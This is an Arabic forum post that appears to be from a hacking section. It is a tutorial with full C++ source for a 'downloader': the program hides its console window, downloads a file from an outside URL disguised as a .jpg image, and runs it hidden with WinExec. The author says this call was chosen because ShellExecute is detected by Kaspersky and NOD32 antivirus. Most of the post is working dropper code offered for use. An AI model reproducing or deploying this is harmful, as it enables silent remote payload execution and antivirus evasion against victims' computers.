[ ++C ] داونلودر بسيط بطريقة جديدة ¤ استعمال Class ¤ والتشفيرة قوية

الحمـد لله وحده نحمده ونشكره ونستعـينه ونستـغفره ونعوذ بالله مـن شـرور أنـفسنا ومن سيـئات أعمالنا .. من يـهده الله فلا مضل لـه ومـن يضـلل فلن تـجد له ولياً مرشدا

إضافة رد
 
LinkBack أدوات الموضوع انواع عرض الموضوع
  #1 (permalink)  
قديم 2012-07-23, 10:30 PM
الصورة الرمزية صوتك يناديني

 
تاريخ التسجيل: Dec 2011
المشاركات: 5,816
صوتك يناديني is on a distinguished road
افتراضي [ ++C ] داونلودر بسيط بطريقة جديدة ¤ استعمال Class ¤ والتشفيرة قوية


[   C ] داونلودر بسيط بطريقة جديدة ¤ استعمال Class ¤ والتشفيرة قوية 1332113925571.png

الحمـد لله وحده نحمده ونشكره ونستعـينه ونستـغفره ونعوذ بالله
مـن شـرور أنـفسنا ومن سيـئات أعمالنا .. من يـهده الله فلا مضل لـه ومـن يضـلل
فلن تـجد له ولياً مرشدا ..
[   C ] داونلودر بسيط بطريقة جديدة ¤ استعمال Class ¤ والتشفيرة قوية scaled.php?server=39
أولا نتيجة الفحص :

[ اللهم صلي وسلم على سيدنا محمد وعلى آله وصحبه أجمعين ]

الكود + الشرح :

كود:
#include
#include
#include
#include
#include

أظن الكود واضح : تحميل المكتبات

احدف الفراغ بين كلمة
S hellapi.h

كود:
#pragma comment (lib,"urlmon.lib")

تحديد الليبريري التي سنحمل بها الملف من الانترنيت


كود:
#pragma comment (linker, "/subsystem:windows /ENTRY:mainCRTStartup")
أخفاء شاشة الكونسول ( Console )

كود:
#define url "http://im24.gulfup.com/2012-07-23/1342998174611.jpg"
تحديد اسم urlالي هو رابط الملف المباشر والي راح يكون السيرفر باي صيغة تريد

كود:
#define path "C:\\test.jpg"
تحديد pathالي هو مسار تحميل الملف من الرابط

كود:
class Down {

public :

int test ()
{
bool what = DownL () ;

if (what == true )
{
return true ;
}

else
{
return false ;
}

}

private:

bool DownL ()
{

HRESULT hwnd = URLDownloadToFile(NULL,url,path,0,0) ;

if (hwnd)
{
return true ;
}

else
{
return false ;
}

}


};
عرفنا كلاس باسم Down ثم وضعنا فنكشن برايفيت باسم DownL وترجع قيمة صحيح او خطأ لانها من نوع Bool
هده الفنكشن ستستعمل داخل الكلاس فقط

ثم بعدها دالة تحميل الملف
URLDownloadToFile حددنا هدا الاجراء بمتغيير HRESULT اسمه hwnd

وبعدها التحقق ان كانت نجحة عملية التحميل ترجع القيمة
true والعكس ترجع قيمة false في حالة عدم نجاح التحميل

بعدها عرفنا فنكشن جديد باسم
test وهو Public
ووضعنا فيه اجراء


كود:
bool what = DownL () ;
اي تعريف متغيير جديد من نوع boolean ويقبل القيمة المرجعة من فنكشن تحميل الملف الي هي Private DownL

وبعدها التحقق ان كان تمام سيرجع قيمة True
والعكس في حالة الفشل سترجع قيمة False


،
Next ،

كود:
int main ()
{
Down test ;
if (test.test() )
{
WinExec(path,SW_HIDE) ;
}
else
{
ExitProcess(0) ;
}
Sleep(2000) ;
return EXIT_SUCCESS ;

}
الكود واضح وبسيط
وضعنا اسم الكلاس باسم اخرى ليسهل استعماله
Down test
ثم التحقق من الفنكشن Public في الكلاس الدي يحمل قيمة مرجعة من فنكشن التحميل
ام True او False


في حالة True سيشتغل الملف المحمل من الرابط اعلاه
استعملت WinExec لانو عند استعمال She llExecute يصير الملف ممسوك من الكاسبر والنود


وسينام البرنامج لمدة 2 ثواني ثم يغلق عادي

في حالة الفشل اي False
سيغلق البرنامج

الشكل النهائي :

كود:
#include
#include
#include
#include
#include

#pragma comment(lib,"urlmon.lib")

#pragma comment(linker, "/subsystem:windows /ENTRY:mainCRTStartup")

#define url "http://im24.gulfup.com/2012-07-23/1342998174611.jpg"

#define path "C:\\test.jpg"


class Down {

public :

int test ()
{
bool what = DownL () ;

if (what == true )
{
return true ;
}

else
{
return false ;
}

}

private:

bool DownL ()
{

HRESULT hwnd = URLDownloadToFile(NULL,url,path,0,0) ;

if (hwnd)
{
return true ;
}

else
{
return false ;
}

}


};

int main ()
{
Down test ;
if (test.test() )
{
WinExec(path,SW_HIDE) ;
}
else
{
ExitProcess(0) ;
}
Sleep(2000) ;
return EXIT_SUCCESS ;

}
أتمنى أن يعجبكم الكود والشرح :26:

[   C ] داونلودر بسيط بطريقة جديدة ¤ استعمال Class ¤ والتشفيرة قوية scaled.php?server=39
الى هنا نكون قد انتهينا
لقائنا في قادم المواضيع باذن الله
في امان الله :32:



__________________
قلبي " معك " لو شفت جسمي مع الناس...
ما غاب " طيفك "عن خيالي دقيقه ..
رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)

الكلمات الدليلية (Tags)
والتشفيرة, class, استعمال, بسيط, بطريقة, جديدة, داونلودر, قوية, ¤



جديد مواضيع قسم حمايه الاجهزه
 
أدوات الموضوع
انواع عرض الموضوع

[ ++C ] داونلودر بسيط بطريقة جديدة ¤ استعمال Class ¤ والتشفيرة قوية


المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
مخاطر ربط الشعر بطريقة قاسية - جديد مخاطر ربط الشعر بطريقة قاسية جنون انسان دليل قلب 0 2012-04-16 02:13 AM

RSS RSS 2.0 XML MAP HTML


الساعة الآن 12:53 AM


Powered by vBulletin Copyright ©2000 - 2014

Security team


Search Engine Optimization by vBSEO 3.6.0